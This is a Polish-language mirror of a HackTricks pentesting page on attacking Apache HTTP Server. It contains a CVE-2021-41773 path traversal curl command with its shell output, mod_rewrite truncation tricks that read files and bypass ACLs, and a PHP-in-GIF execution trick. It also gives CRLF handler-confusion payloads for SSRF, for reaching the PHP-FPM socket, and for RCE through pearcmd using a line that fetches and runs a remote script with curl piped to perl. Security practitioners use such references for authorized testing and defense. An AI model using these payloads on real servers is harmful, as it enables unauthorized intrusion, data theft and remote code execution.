Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-01 08:59:30 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/apache.md

15 KiB
Raw Blame History

Apache

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Wykonywalne rozszerzenia PHP

Sprawdź, które rozszerzenia są uruchamiane przez serwer Apache. Aby je wyszukać, możesz wykonać:

grep -R -B1 "httpd-php" /etc/apache2

Również niektóre miejsca, w których możesz znaleźć tę konfigurację, to:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

{% code overflow="wrap" %}

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

{% endcode %}

Atak konfuzji

Te typy ataków zostały wprowadzone i udokumentowane przez Orange w tym poście na blogu, a poniżej znajduje się podsumowanie. Atak "konfuzji" zasadniczo wykorzystuje to, jak dziesiątki modułów współpracujących w Apache nie działają idealnie zsynchronizowane, co sprawia, że modyfikacja nieoczekiwanych danych przez niektóre z nich może spowodować lukę w późniejszym module.

Konfuzja nazwy pliku

Skracanie

mod_rewrite obetnie zawartość r->filename po znaku ? (modules/mappers/mod_rewrite.c#L4141). To nie jest całkowicie błędne, ponieważ większość modułów traktuje r->filename jako URL. Jednak w innych przypadkach będzie to traktowane jako ścieżka do pliku, co może spowodować problem.

  • Skracanie ścieżki

Można wykorzystać mod_rewrite jak w poniższym przykładzie reguły, aby uzyskać dostęp do innych plików w systemie plików, usuwając ostatnią część oczekiwanej ścieżki, dodając po prostu ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Wprowadzenie w błąd przypisania RewriteFlag

W poniższej regule przepisywania, dopóki URL kończy się na .php, będzie traktowany i wykonywany jako php. Dlatego możliwe jest wysłanie URL, który kończy się na .php po znaku ?, podczas gdy w ścieżce ładowany jest inny typ pliku (jak obrazek) z złośliwym kodem php w środku:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Możliwe jest uzyskanie dostępu do plików, do których użytkownik nie powinien mieć dostępu, nawet jeśli dostęp powinien być zabroniony w przypadku konfiguracji takich jak:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

To dlatego, że domyślnie PHP-FPM odbierze adresy URL kończące się na .php, takie jak http://server/admin.php%3Fooo.php, a ponieważ PHP-FPM usunie wszystko po znaku ?, poprzedni adres URL pozwoli na załadowanie /admin.php, nawet jeśli poprzednia reguła tego zabraniała.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to https://server/abouth.html will check for the file in /var/www/html/about.html and /about.html in the file system. Which basically can be abused to access files in the file system.

Ujawnienie kodu źródłowego po stronie serwera

  • Ujawnij kod źródłowy CGI

Just adding a %3F at the end is enough to leak the source code of a cgi module:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Ujawnienie kodu źródłowego PHP

Jeśli serwer ma różne domeny, z jedną z nich będącą domeną statyczną, można to wykorzystać do przeszukiwania systemu plików i ujawnienia kodu php:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulacja lokalnymi gadżetami

Głównym problemem poprzedniego ataku jest to, że domyślnie większość dostępu do systemu plików będzie zablokowana, jak w szablonie konfiguracji serwera Apache HTTP.

<Directory />
AllowOverride None
Require all denied
</Directory>

Jednak systemy operacyjne Debian/Ubuntu domyślnie pozwalają na /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Zatem możliwe byłoby nadużycie plików znajdujących się w /usr/share w tych dystrybucjach.

Lokalny Gadget do ujawnienia informacji

  • Apache HTTP Server z websocketd może ujawniać skrypt dump-env.php w /usr/share/doc/websocketd/examples/php/, co może prowadzić do ujawnienia wrażliwych zmiennych środowiskowych.
  • Serwery z Nginx lub Jetty mogą ujawniać wrażliwe informacje o aplikacjach webowych (np. web.xml) poprzez swoje domyślne katalogi webowe umieszczone w /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Lokalny Gadget do XSS

  • Na Ubuntu Desktop z zainstalowanym LibreOffice, wykorzystanie funkcji zmiany języka w plikach pomocy może prowadzić do Cross-Site Scripting (XSS). Manipulowanie URL w /usr/share/libreoffice/help/help.html może przekierować na złośliwe strony lub starsze wersje poprzez niebezpieczne RewriteRule.

Lokalny Gadget do LFI

  • Jeśli zainstalowane są PHP lub niektóre pakiety front-endowe, takie jak JpGraph lub jQuery-jFeed, ich pliki mogą być wykorzystywane do odczytu wrażliwych plików, takich jak /etc/passwd:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Lokalny Gadget do SSRF

  • Wykorzystując magpie_debug.php z MagpieRSS w /usr/share/php/magpierss/scripts/magpie_debug.php, można łatwo stworzyć lukę SSRF, co zapewnia bramę do dalszych exploitów.

Lokalny Gadget do RCE

  • Możliwości Remote Code Execution (RCE) są ogromne, z podatnymi instalacjami, takimi jak przestarzały PHPUnit lub phpLiteAdmin. Mogą być one wykorzystywane do wykonywania dowolnego kodu, co pokazuje ogromny potencjał manipulacji lokalnymi gadżetami.

Jailbreak z lokalnych gadżetów

Możliwe jest również uzyskanie jailbreaka z dozwolonych folderów, podążając za symlinkami generowanymi przez zainstalowane oprogramowanie w tych folderach, takich jak:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Ponadto, nadużywając symlinków, możliwe było uzyskanie RCE w Redmine.

Confuzja Handlera

Ten atak wykorzystuje nakładanie się funkcji między dyrektywami AddHandler i AddType, które mogą być używane do włączania przetwarzania PHP. Początkowo te dyrektywy wpływały na różne pola (r->handler i r->content_type odpowiednio) w wewnętrznej strukturze serwera. Jednak z powodu kodu dziedziczonego, Apache obsługuje te dyrektywy zamiennie w określonych warunkach, przekształcając r->content_type w r->handler, jeśli ten pierwszy jest ustawiony, a drugi nie.

Ponadto, w Apache HTTP Server (server/config.c#L420), jeśli r->handler jest pusty przed wykonaniem ap_run_handler(), serwer używa r->content_type jako handlera, co skutkuje tym, że AddType i AddHandler są identyczne w skutkach.

Nadpisanie Handlera w celu ujawnienia kodu źródłowego PHP

W tej prezentacji przedstawiono lukę, w której niepoprawny Content-Length wysłany przez klienta może spowodować, że Apache błędnie zwróci kod źródłowy PHP. Działo się tak z powodu problemu z obsługą błędów w ModSecurity i Apache Portable Runtime (APR), gdzie podwójna odpowiedź prowadzi do nadpisania r->content_type na text/html.
Ponieważ ModSecurity nie obsługuje poprawnie wartości zwracanych, zwracałby kod PHP i nie interpretowałby go.

Nadpisanie Handlera do XXXX

TODO: Orange jeszcze nie ujawnili tej luki

Wywołanie dowolnych handlerów

Jeśli atakujący jest w stanie kontrolować nagłówek Content-Type w odpowiedzi serwera, będzie mógł wywołać dowolne handlera modułów. Jednak w momencie, gdy atakujący kontroluje to, większość procesu żądania będzie już zakończona. Możliwe jest jednak ponowne uruchomienie procesu żądania, nadużywając nagłówka Location, ponieważ jeśli returned Status to 200, a nagłówek Location zaczyna się od /, odpowiedź jest traktowana jako przekierowanie po stronie serwera i powinna być przetworzona.

Zgodnie z RFC 3875 (specyfikacja dotycząca CGI) w Sekcji 6.2.2 definiuje zachowanie odpowiedzi lokalnego przekierowania:

Skrypt CGI może zwrócić ścieżkę URI i ciąg zapytania (‘local-pathquery’) dla lokalnego zasobu w polu nagłówka Location. To wskazuje serwerowi, że powinien ponownie przetworzyć żądanie, używając określonej ścieżki.

Zatem, aby przeprowadzić ten atak, potrzebna jest jedna z następujących luk:

  • Wstrzyknięcie CRLF w nagłówkach odpowiedzi CGI
  • SSRF z pełną kontrolą nad nagłówkami odpowiedzi

Dowolny Handler do ujawnienia informacji

Na przykład /server-status powinien być dostępny tylko lokalnie:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Możliwe jest uzyskanie dostępu, ustawiając Content-Type na server-status i nagłówek Location zaczynający się od /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

Przekierowanie do mod_proxy, aby uzyskać dostęp do dowolnego protokołu na dowolnym URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Jednak nagłówek X-Forwarded-For jest dodawany, co uniemożliwia dostęp do punktów końcowych metadanych w chmurze.

Arbitralny handler do uzyskania dostępu do lokalnego gniazda Unix Domain

Uzyskaj dostęp do lokalnego gniazda Unix Domain PHP-FPM, aby wykonać PHP backdoor znajdujący się w /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitralny handler do RCE

Oficjalny obraz PHP Docker zawiera PEAR (Pearcmd.php), narzędzie do zarządzania pakietami PHP w wierszu poleceń, które można wykorzystać do uzyskania RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Sprawdź Docker PHP LFI Summary, napisany przez Phith0n dla szczegółów tej techniki.

Referencje

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}